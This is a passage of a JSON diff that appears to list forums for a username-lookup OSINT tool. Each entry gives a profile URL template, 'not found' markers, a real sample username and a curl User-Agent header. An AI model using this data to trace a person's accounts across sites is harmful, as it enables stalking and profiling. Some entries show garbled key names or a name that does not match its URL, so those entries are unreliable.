"errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "http://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + "urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": 